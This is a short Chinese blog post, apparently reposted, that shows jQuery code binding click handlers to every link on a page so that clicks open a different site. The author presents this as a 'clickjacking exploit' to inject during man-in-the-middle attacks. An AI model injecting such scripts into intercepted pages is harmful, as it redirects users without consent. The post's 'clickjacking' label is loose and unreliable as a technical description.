jquery实现点击劫持代码

来源:互联网 发布:网络与信息安全政府令 编辑:程序博客网 时间:2024/06/05 11:03

一直在找一个全屏的透明图层点击弹窗代码,虽然没找到,不过有了一些意外的新发现

在浏览百度知道时,发现了jquery可以为div添加onclick事件 

代码如下:

<script type="text/javascript" src="jquery.js"></script><div id="one">1</div><div id="one">2</div><div id="one">3</div><div id="one">4</div><div id="one">5</div><script type="text/javascript">  $(function(){    $("div").each(function(){      $(this).click(function(){        alert($(this).text());      });    });</script>
这样每个div都可以赋予点击事件,那么,body标签呢?<a>标签呢?

我分别进行了测试 发现在webkit内核下:

<script type="text/javascript" src="jquery.js"></script><div id="one">1</div><div id="one">2</div><div id="one">3</div><div id="one">4</div><div id="one">5</div><body>aaaa</body><a href="http://baidu.com/">a</a><script type="text/javascript">  $(function(){    $("div").each(function(){      $(this).click(function(){        alert($(this).text());      });    });    $("body").each(function(){      $(this).click(function(){        alert($(this).text());      });    });    $("a").each(function(){      $(this).click(function(){        alert($(this).text());      });    });  });</script>

当点击body元素时,出现了网页的源代码,而点击<a>标签时,则会先弹出alert再转到链接!换句话说,成功的利用jquery劫持了链接!

参见了这篇给div加跳转的文章http://www.cdxwcx.com/faq/htmldivLink.html后,最终的exploit代码如下:

<a href="http://baidu.com/">我只是个无辜的链接</a><script type="text/javascript" src="http://lib.sinaapp.com/js/jquery/1.9.1/jquery-1.9.1.min.js"></script><script type="text/javascript">  $(function(){    $("a").each(function(){      $(this).click(function(){        window.open('http://blog.csdn.net/qq754406613');      });    });  });</script>

亲测中间人攻击时注入此代码可用

0 0